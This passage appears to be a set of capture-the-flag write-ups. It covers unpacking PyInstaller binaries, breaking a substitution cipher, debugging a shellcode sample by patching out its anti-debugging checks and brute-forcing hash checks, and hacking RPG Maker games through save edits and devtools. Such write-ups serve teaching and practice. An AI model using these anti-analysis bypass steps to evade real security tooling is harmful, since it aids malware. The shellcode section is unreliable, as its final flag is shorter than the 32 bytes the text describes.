print("We're gonna need a really big brain; bigger than his?")
first_flag = 'WGMY{1d2993'
user_date = current_date
params = {'first_flag': first_flag, 'date': user_date}
response = requests.get(server_url, params=params)
if response.status_code == 200:
print(response.json()['flag'])
else:
print(response.json()['error'])
Key Observations:
The script queries a server at http://13.58.69.212:8000/
with two parameters:
first_flag
: A known partial flag WGMY{1d2993
.
date
: A specific date required by the server.
The /flag
endpoint must be queried with the correct date
parameter to retrieve the full flag.
Step 3: Determining the Correct Date
Hint from the /flag
Endpoint:
Accessing /flag
on the server redirected to a YouTube video about the Avengers and the Time Stone.
The video’s upload date was 2022-07-24
.
Adjusting the Date:
Submitting 2022-07-24
resulted in an error.
Incremented the date by one day (2022-07-25
) and successfully retrieved the flag.
Final Date: 2022-07-25
Step 4: Full Solve Script
Using the correct date, the script to retrieve the full flag is as follows:
import requests
# Parameters
server_url = 'http://13.58.69.212:8000/'
date = '2022-07-25'
first_flag = 'WGMY{1d2993'
params = {'first_flag': first_flag, 'date': date}
# Query the server
response = requests.get(server_url, params=params)
# Output the result
if response.status_code == 200:
print(response.json()['flag'])
else:
print(response.json()['error'])
The full flag is:
WGMY{1d2993fc6327746830cd374debcb98f5}
Executable Unpacking: Used pyinstxtractor
to unpack the PyInstaller-packed executable.
Decompilation: Decompiled Python bytecode with PyLingual to recover the main logic.
Logic Analysis: Identified the server endpoint and parameters required for flag retrieval.
Date Adjustment: Determined the correct date parameter through observation and incremental testing.
Flag Retrieval: Submitted the correct parameters to retrieve the full flag.
Executable Analysis: Recognizing PyInstaller artifacts and using appropriate tools like pyinstxtractor
is crucial for unpacking.
Decompilation Tools: Tools like PyLingual simplify bytecode analysis, aiding in understanding the underlying logic.
HTTP Debugging: Observing server behavior and incremental testing can reveal subtle requirements for successful queries.
Problem Context: Incorporating hints (e.g., video upload date) into the solution ensures alignment with challenge themes.
Iterative Testing: Small adjustments, such as date changes, can resolve unexpected errors and lead to the correct solution.
Description: Easy stuff, frfr. You dont need to brute force or guess anything. The final flag don't have any dot (.)
sudoku.zip:
out.enc
: Encrypted flag file.
sudoku
: Linux ELF executable.
The challenge involves recovering an encrypted flag by analyzing a packed executable and utilizing reverse engineering to decrypt the data. The encryption uses a custom substitution cipher based on a randomly generated character map.
Extract and analyze the packed executable to recover its logic.
Reverse the substitution cipher used to encrypt the flag.
Reconstruct the complete flag.
Step 1: Analyzing the Executable
Initial Inspection:
Opened the sudoku
executable in IDA.
Observed references to PyInstaller, indicating the file is packed.
Unpacking the Executable:
Used the Pyinstxtractor tool to unpack the executable.
pyinstxtractor.py sudoku
Extracted compiled Python files, including sudoku.pyc
.
Decompiling the Python Bytecode:
Used the PyLingual tool to decompile sudoku.pyc
into readable Python source code.
Step 2: Understanding the Encryption Logic
The decompiled sudoku.py
contains the following relevant code:
import random
alphabet = 'abcdelmnopqrstuvwxyz1234567890.'
plaintext = '0 t.e1 qu.c.2 brown3 .ox4 .umps5 over6 t.e7 lazy8 do.9, w.my{[REDACTED]}'
def makeKey(alphabet):
alphabet = list(alphabet)
random.shuffle(alphabet)
return ''.join(alphabet)
key = makeKey(alphabet)
def encrypt(plaintext, key, alphabet):
keyMap = dict(zip(alphabet, key))
return ''.join((keyMap.get(c.lower(), c) for c in plaintext))
enc = encrypt(plaintext, key, alphabet)
Observations:
A substitution cipher encrypts the flag by mapping plaintext characters to randomly shuffled characters from the alphabet.
The plaintext
variable is based on a pangram.
The encrypt
function substitutes each character in plaintext
using the generated key
.
Step 3: Recovering the Decryption Map
Known Plaintext Attack:
Most of the plaintext is a known pangram: 0 the1 quick2 brown3 fox4 jumps5 over6 the7 lazy8 dog9
.
The ciphertext from out.enc
is:
z v7o1 an7570 9d.tl3 7.4b 7n2pws .qodx v7oc ye68u m.7r
Reverse Mapping:
Created a decryption map (decmap
) by pairing plaintext characters with their corresponding ciphertext characters:
plaintext = '0 t.e1 qu.c.2 brown3 .ox4 .umps5 over6 t.e7 lazy8 do.9'
ciphertext = "z v7o1 an7570 9d.tl3 7.4b 7n2pws .qodx v7oc ye68u m.7r"
decmap = {}
for pt, ct in zip(plaintext, ciphertext):
decmap[ct] = pt
Decrypting the Flag:
Using the decryption map, processed the flag portion of the ciphertext:
encflag = "t728{09er1bzbs9sx5sosu7719besr39zscbx}"
flag = ''.join((decmap.get(c.lower(), c) for c in encflag))
print(flag)
Output:
wgmy{2ba914045b56c5e58..1b4a593b05746}
Step 4: Completing the Flag
Masked Characters:
Some characters in the decrypted flag (..
) are placeholders. Using the pangram, determined that these placeholders correspond to missing hexadecimal characters.
Based on the ciphertext mapping, replaced the placeholders:
wgmy{2ba914045b56c5e58ff1b4a593b05746}
Validation:
Verified the flag's validity as a hexadecimal MD5 hash:
assert int(flag[5:-1], 16) # Ensure flag is valid hexadecimal
The reconstructed flag is:
wgmy{2ba914045b56c5e58ff1b4a593b05746}
Executable Unpacking: Used Pyinstxtractor to extract compiled Python files from the packed executable.
Decompilation: Decompiled sudoku.pyc
using PyLingual to recover the source code.
Cipher Analysis: Analyzed the substitution cipher and created a reverse mapping based on known plaintext.
Flag Reconstruction: Used the reverse mapping to decrypt the flag and replace masked characters.
Packed Executable Analysis: Recognizing PyInstaller artifacts helps identify appropriate unpacking tools.
Reverse Engineering: Decompilation of Python bytecode is a valuable skill for analyzing packed executables.
Cryptanalysis: A known plaintext attack can efficiently break substitution ciphers.
Tool Proficiency: Tools like Pyinstxtractor and PyLingual streamline the process of extracting and analyzing Python-based executables.
Systematic Debugging: Step-by-step reconstruction ensures accuracy and completeness in flag recovery.
Description: I downloaded these drivers which grants me more ram Though, it seems that its not working as expected, Could it be a virus?? Please help me!
The following relevant file is provided for this challenge:
InstallDrivers.ps1: A PowerShell script that executes a binary containing obfuscated shellcode.
IDA Pro: Used for dynamic debugging and patching the binary to bypass anti-analysis checks.
shellcode2exe: Converted the shellcode to an executable for debugging.
Python (with itertools and pwntools): Scripted brute-forcing for missing flag components.
TQDM: Progress bar utility for tracking brute-force progress.
Step 1: Analyze the Shellcode
Convert the Shellcode:
Used shellcode2exe
to wrap the shellcode into an executable format for easy debugging.
Debug the Binary in IDA:
Observed a series of anti-debugging checks.
Patched functions responsible for checking tools like IDA, Wireshark, and other debuggers by forcing them to return false
.
Focused on functions causing premature exits and identified key functions dynamically loaded by the binary.
Registry Interaction:
Identified that the binary interacts with the registry to read two keys:
ProgramFilesDir
(standard Windows directory key).
ProgramFilezDir
(non-standard key with a z
).
Core Logic:
The program constructs a 32-byte hexadecimal flag based on values from the binary and the registry.
Parts of the flag are hardcoded, but others depend on the ProgramFilezDir
value, requiring brute-forcing.
Step 2: Reverse-Engineer the Flag Construction
Reverse Engineering:
Decompiled the binary to understand flag construction logic.
Found that the flag bytes are split into known and unknown indices:
v6 = bytearray(32)
v6[0] = 0x35
v6[1] = 0x32
v6[3] = 0x33
v6[5] = 0x31
v6[6] = 0x63
v6[8] = 0x36
... (other predefined values)
Remaining values are dependent on ProgramFilezDir
and must pass two hash checks.
Hash Validation:
Flag validation involves two FNV-1a hash checks:
The full flag hash must match 991905974
.
The hash of the lower 16 bytes must match 2089661757
.
Step 3: Brute-Force Missing Values
Script Setup:
Wrote a Python script to brute-force the unknown flag components using itertools.product
.
Partial Brute Force:
Brute-forced the lower half of the flag first:
target = 2089661757
unknown_indexes = [16, 18, 21, 22, 26, 27, 28, 29]
for combo in product("0123456789abcdef", repeat=len(unknown_indexes)):
for i, c in enumerate(combo):
v6[unknown_indexes[i]] = ord(c)
if fnv1a_hash(v6[16:]) == target:
print("Found partial:", "".join(chr(v6[j]) for j in range(16, 32)))
break
Complete Brute Force:
Once partial values were found, brute-forced the remaining indices:
target = 991905974
unknown_indexes = [2, 4, 7, 11, 12, 13, 15]
for combo in product(b"0123456789abcdef", repeat=len(unknown_indexes)):
for i, c in enumerate(combo):
v6[unknown_indexes[i]] = c
if fnv1a_hash(v6) == target:
print(v6)
break
Step 4: Retrieve the Flag
Output Flag:
Once both parts passed their respective hash checks, the complete flag was assembled:
print("Flag:", f"wgmy{{{bytes(v6).decode()}}}")
Final Flag:
The final flag retrieved is:
Flag: wgmy{5233c60a01b0f0d372c39}
By combining dynamic debugging, reverse engineering, and brute-forcing, the challenge was solved effectively. The brute-force approach for registry values, while computationally expensive, was necessary due to the obfuscation in the binary. The use of FNV-1a hashing ensured the integrity of the solution.
Description: Game hacking is back! Can you save the princess? White screen? That is a part of the challenge, try to overcome it..
World1.exe: An executable file for a game created using RPG Maker MZ.
Modify the save file to gain invincibility and obtain flags in the game.
Extract the game files to locate missing parts of the flag.
Reconstruct the full flag.
Step 1: Editing the Save File
Launch the game to create a save file, typically named file0.rmmzsave
.
Open the save file using the RPG Maker MZ save editor tool:
Tool Used: Save Editor for RPG Maker MZ
Modify the save data to set all status values to 9999, making the character invincible.
Save the edited file and replace the original save file in the game directory.
Reload the game using the edited save to:
Defeat all enemies with one hit.
Collect flags for Parts 1, 2, and 5 during gameplay.
Step 2: Extracting Game Files for Missing Flag Part
The remaining Part 4 of the flag is not obtainable in-game. To locate it:
Inspect the Executable:
Open the executable (World1.exe
) as a ZIP archive.
Observe the .enigma1
file, which indicates the game is packed with Enigma Virtual Box.
Tool Reference: Enigma Virtual Box
Unpack the Files:
Parse Game Assets:
After unpacking, use gameripper
to extract and parse game assets:
Tool Used: gameripper
gameripper --input output --output parsed_assets
Step 3: Locating Flag Parts
Part 4 (Volcano Map):
Using gameripper
, locate the volcano map image, which contains the missing flag part.
Other Flag Parts:
Parts 1, 2, and 5: Found in data/CommonEvents.json
.
Part 3: Found in data/Map004.json
.
Step 4: Reconstructing the Full Flag
After collecting all flag parts, the full flag is:
wgmy{5ce7d7a7140ebabf5cd43effd3fcaac2}
The reconstructed flag is:
wgmy{5ce7d7a7140ebabf5cd43effd3fcaac2}
Save File Modification: Edited file0.rmmzsave
to gain invincibility and collect in-game flags.
Game File Extraction: Unpacked the game executable using evbunpack
.
Asset Parsing: Analyzed game assets with gameripper
to locate missing flag parts.
Flag Reconstruction: Combined all discovered parts to form the complete flag.
Save File Editing: Save editors for specific game engines, like RPG Maker MZ, can simplify gameplay challenges.
Executable Inspection: Many game executables can be opened as archives to inspect their structure.
File Unpacking: Tools like evbunpack
are essential for extracting files packed with virtualization solutions such as Enigma Virtual Box.
Asset Exploration: Parsing game assets with tools like gameripper
can reveal hidden information and resources.
Systematic Flag Discovery: Combining in-game exploration with external file analysis ensures no part of the challenge is missed.
Description: Welp, time to do it again. Unable to install? That is a part of the challenge, try to overcome it.
world2.apk: An APK file for a game created using RPG Maker MZ.
The challenge involves hacking an RPG Maker MZ game to retrieve a hidden flag. The APK file includes:
Assets that need extraction and decryption.
Maps and JSON data to analyze.
A challenge to overcome a white screen issue.
Extract and analyze the game files from the APK.
Manipulate game data to locate missing parts of the flag.
Reconstruct the complete flag.
Step 1: Extracting Files from the APK
Open the APK as a ZIP archive to extract its contents.
Locate and extract the following files:
assets/www/data/CommonEvents.json
assets/www/data/Map004.json
assets/www/data/Map007.json
assets/www/img/pictures/QR Code 5A.png_
Step 2: Inspecting the App via USB Debugging
Install the APK on an Android phone.
Enable USB debugging and connect the phone to a PC.
Open Chrome and navigate to:
chrome://inspect#devices
Use Chrome's DevTools to inspect and interact with the app's elements.
Bypass the white screen by modifying DOM elements or inspecting network requests.
Step 3: Locating Flag Parts
Parts 1, 2, and 5 (Name): Found in CommonEvents.json
.
Part 3: Found in Map004.json
.
Part 4:
Import Map007.json
into World 1's game data.
Use gameripper
to render the map and locate the hidden flag part.
Tool Used: gameripper
Part 5 (Image):
Decrypt the .png_
file to .png
using the RPG Maker MZ-File Decrypter:
Tool Used: Petschko's RPG-Maker MZ-File Decrypter
Step 4: Reconstructing the Full Flag
After combining all flag parts, the full flag is:
wgmy{4068a87d81d8c901043885bac4f51785}
The reconstructed flag is:
wgmy{4068a87d81d8c901043885bac4f51785}
File Extraction: Extracted and analyzed assets from world2.apk
.
USB Debugging: Used Chrome DevTools to interact with and inspect the running app.
Game Asset Manipulation: Imported and decrypted game files to locate hidden flag parts.
Flag Reconstruction: Combined all parts to form the complete flag.
APK Analysis: APK files can be treated as ZIP archives for extracting embedded data.
USB Debugging: Chrome's DevTools is a powerful tool for inspecting and modifying Android apps.
Game Asset Rendering: Tools like gameripper
can render hidden map assets for analysis.
File Decryption: Tools such as Petschko's RPG Maker Decrypter are essential for recovering encrypted game assets.
Systematic Approach: Combining JSON analysis, image decryption, and game data manipulation ensures no part of the challenge is overlooked.
Description: Welp, time to do it again and again.
The challenge involves hacking a game hosted on itch.io to retrieve a hidden flag. The game files are accessible via browser devtools, and the same strategy as previous challenges can be applied to solve it.
Access game variables to manipulate gameplay.
Extract the required game files from the server.
Reconstruct the complete flag.
Step 1: Accessing the Game Variables
Open the game in the provided itch.io link.
Open the iFrame in a new tab to directly access the game content.
Launch the browser devtools (Inspect Element).
Explore the game variables:
$data<Object>
: Contains the game data dictionary.
$game<Object>
: Contains game runtime variables.
Use the console to run the following command to give yourself max stats via weapon modification:
$dataWeapons[5].params = [99999, 99999, 99999, 99999, 99999, 99999, 99999, 99999];
This makes your character overpowered, allowing you to defeat bosses easily and collect in-game flag parts.
Step 2: Extracting Game Files
Open the Network Monitor in the devtools while the game is loading.
Observe the game files being loaded from the path:
https://html-classic.itch.zone/html/12358649/...
Extract the following files from the network requests:
data/CommonEvents.json
data/Map004.json
data/Map007.json
img/pictures/QR Code 5W.png_
Step 3: Locating Flag Parts
Parts 1, 2, and 5 (Name): Found in CommonEvents.json
.
Part 3: Found in Map004.json
.
Part 4:
Import Map007.json
into World 1's game data.
Use gameripper
to render the map and locate the hidden flag part.
Tool Used: gameripper
Part 5 (Image):
Decrypt the .png_
file to .png
using the RPG Maker MZ-File Decrypter:
Tool Used: Petschko's RPG-Maker MZ-File Decrypter
Step 4: Reconstructing the Full Flag
After combining all flag parts, the full flag is:
wgmy{811a332e71b5d4651edd3ddcace5b748}
The reconstructed flag is:
wgmy{811a332e71b5d4651edd3ddcace5b748}
Game Variable Manipulation: Used browser devtools to modify in-game stats for easier gameplay.
File Extraction: Retrieved game files from the itch.io server via the network monitor.
Asset Parsing: Analyzed JSON files and decrypted image assets to locate hidden flag parts.
Flag Reconstruction: Combined all parts to form the complete flag.
Devtools Mastery: Browser devtools are powerful for inspecting and manipulating game variables and assets.
Network Analysis: Monitoring network requests can reveal server paths to game files.
Game Asset Rendering: Tools like gameripper
can uncover hidden data in game assets.
File Decryption: Petschko's RPG Maker Decrypter is useful for recovering encrypted image files.
Systematic Approach: Combining runtime exploration with file analysis ensures thorough flag discovery.